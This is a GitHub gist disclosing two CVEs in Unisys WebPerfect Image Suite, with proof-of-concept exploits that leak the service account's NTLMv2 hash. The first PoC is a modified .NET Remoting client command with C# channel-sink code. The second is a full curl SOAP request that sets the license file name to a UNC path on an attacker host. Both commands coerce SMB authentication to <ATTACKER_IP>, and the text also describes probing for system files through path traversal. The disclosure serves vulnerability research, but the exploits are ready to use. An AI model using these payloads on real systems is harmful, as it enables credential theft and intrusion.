Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save VAMorales/be3e4ed472c51794493c1256cce16129 to your computer and use it in GitHub Desktop.

Select an option

Save VAMorales/be3e4ed472c51794493c1256cce16129 to your computer and use it in GitHub Desktop.
Unisys - WebPerfect Image Suite - CVE-2026-39906 / CVE-2026-39907

Exploit Title: Unisys - WebPerfect Image Suite NTLMv2 Hash Leakage via .NET Remoting

Disclosure Date: 4/23/2026

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Known Affected Versions: 3.0.3960.22810, 3.0.3960.22604

Description

Deprecated .NET Remoting technology on an ephemeral network reachable port is used by the program Unisys.SOA.PerfectImageService.exe. Modifying the PoC of Code-White's RemotingClient_MBVO.exe program to implement a custom channel sink to redirect .NET Remoting traffic to the correct host, it was determined that the System.Media.SoundPlayer class technique allows SMB coercion by supplying a remote UNC path to leak the NTLMv2 hash of the account running the service.

PoC

.\RemotingClient_MBVO.exe tcp://<TARGET_IP>:<EPHEMERAL_PORT>/Interfaces.rem \\<ATTACKER_IP>\file.txt

Snippet of the custom channel fix code:

public class CustomClientChannelSinkProvider : IClientChannelSinkProvider
    {
        IClientChannelSinkProvider _next;
        public CustomClientChannelSinkProvider() { }

        public IClientChannelSinkProvider Next { get => _next; set => _next = value; }

        public IClientChannelSink CreateSink(IChannelSender channel, string url, object remoteChannelData)
        {
            IClientChannelSink clientChannelSink = null;
            if (this.Next != null)
            {
                clientChannelSink = this.Next.CreateSink(channel, url, remoteChannelData);
                if (clientChannelSink == null)
                {
                    return null;
                }
            }
            return new CustomBinaryClientFormatterSink(clientChannelSink);
        }
    }

    public class CustomBinaryClientFormatterSink : IClientFormatterSink
    {
        private readonly IClientChannelSink _nextSink;

        public CustomBinaryClientFormatterSink(IClientChannelSink nextSink)
        {
            this._nextSink = nextSink;
        }

        public IMessageSink NextSink => null;
        public IClientChannelSink NextChannelSink => _nextSink;
        public IDictionary Properties => null;

        public IMessageCtrl AsyncProcessMessage(IMessage msg, IMessageSink replySink)
        {
            throw new NotImplementedException();
        }

        public void AsyncProcessRequest(IClientChannelSinkStack sinkStack, IMessage msg, ITransportHeaders headers, Stream stream)
        {
            throw new NotImplementedException();
        }

        public void AsyncProcessResponse(IClientResponseChannelSinkStack sinkStack, object state, ITransportHeaders headers, Stream stream)
        {
            throw new NotImplementedException();
        }

        public Stream GetRequestStream(IMessage msg, ITransportHeaders headers)
        {
            throw new NotImplementedException();
        }

        public void ProcessMessage(IMessage msg, ITransportHeaders requestHeaders, Stream requestStream, out ITransportHeaders responseHeaders, out Stream responseStream)
        {
            throw new NotImplementedException();
        }

        public IMessage SyncProcessMessage(IMessage msg)
        {
            IMethodCallMessage mcm = msg as IMethodCallMessage;
            IMessage result;
            try
            {
                ITransportHeaders requestHeaders;
                Stream requestStream;
                this.SerializeMessage(msg, out requestHeaders, out requestStream);
                ITransportHeaders transportHeaders;
                Stream stream;
                this._nextSink.ProcessMessage(msg, requestHeaders, requestStream, out transportHeaders, out stream);
                if (transportHeaders == null)
                {
                    throw new ArgumentNullException("returnHeaders");
                }
                result = this.DeserializeMessage(mcm, transportHeaders, stream);
            }
            catch (Exception e)
            {
                result = new ReturnMessage(e, mcm);
            }
            return result;
        }

Exploit Title: Unisys - WebPerfect Image Suite NTLMv2 Hash Leakage via WCF SOAP

Disclosure Date: 4/23/2026

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Known Affected Versions: 3.0.3960.22810, 3.0.3960.22604

Description

WCF SOAP technology is used by the dependency file PILicFileService.dll. The OpenLicenseFile function inside the LicenseFilePar class is called and ends up in a code path that searches for the user provided location inside the file system with the File.Exists function, having no prior input sanitization. By supplying a UNC path, this forces the server to search outside of the internal file system, attempts to reach the file from a remote share and leaks the NTLMv2 hash of the account running the service. When a valid system file path is specified in the LFName field, for example the default C:\Windows\win.ini file using a path traversal sequence, the program attempts to read the file and decrypt it, however since an invalid license file is specified, the program throws an error “8 CANNOT READ FILE”. This confirms existance of internal files present in the system, however the impact is not as severe, as its contents are never displayed.

PoC

curl -X POST "http://<TARGET_IP>:1208/Unisys.SOAVision.PiLicFileService/Service" -H 'MIME-Version: 1.0' -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<http://tempuri.org/0>"; boundary="uuid:83b0ff2f-5195-469b-84cd-8b8251686963+id=2"; start-info="application/soap+xml"' -H 'Expect: 100-continue' -H 'Connection: Keep-Alive' --data-binary $'--uuid:83b0ff2f-5195-469b-84cd-8b8251686963+id=2\r\nContent-ID: <http://tempuri.org/0>\r\nContent-Transfer-Encoding: 8bit\r\nContent-Type: application/xop+xml;charset=utf-8;type="application/soap+xml"\r\n\r\n<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">urn:schemas-paymentsystems-unisys-com:EntitlemenService:2002-7-14/ReadLicense</a:Action><a:MessageID>urn:uuid:61d16555-6cfa-49cc-b581-74771ed7462a</a:MessageID><a:ReplyTo><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo><a:To s:mustUnderstand="1">http://localhost:1208/Unisys.SOAVision.PiLicFileService/Service</a:To></s:Header><s:Body><ReadLicense xmlns="urn:schemas-paymentsystems-unisys-com:EntitlemenService:2002-7-14"><LicenseFile><AliasFlags>0</AliasFlags><LFName>\\\\<ATTACKER_IP>\\noexists.ini</LFName><ProductName>WPI</ProductName></LicenseFile></ReadLicense></s:Body></s:Envelope>\r\n--uuid:83b0ff2f-5195-469b-84cd-8b8251686963+id=2--'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment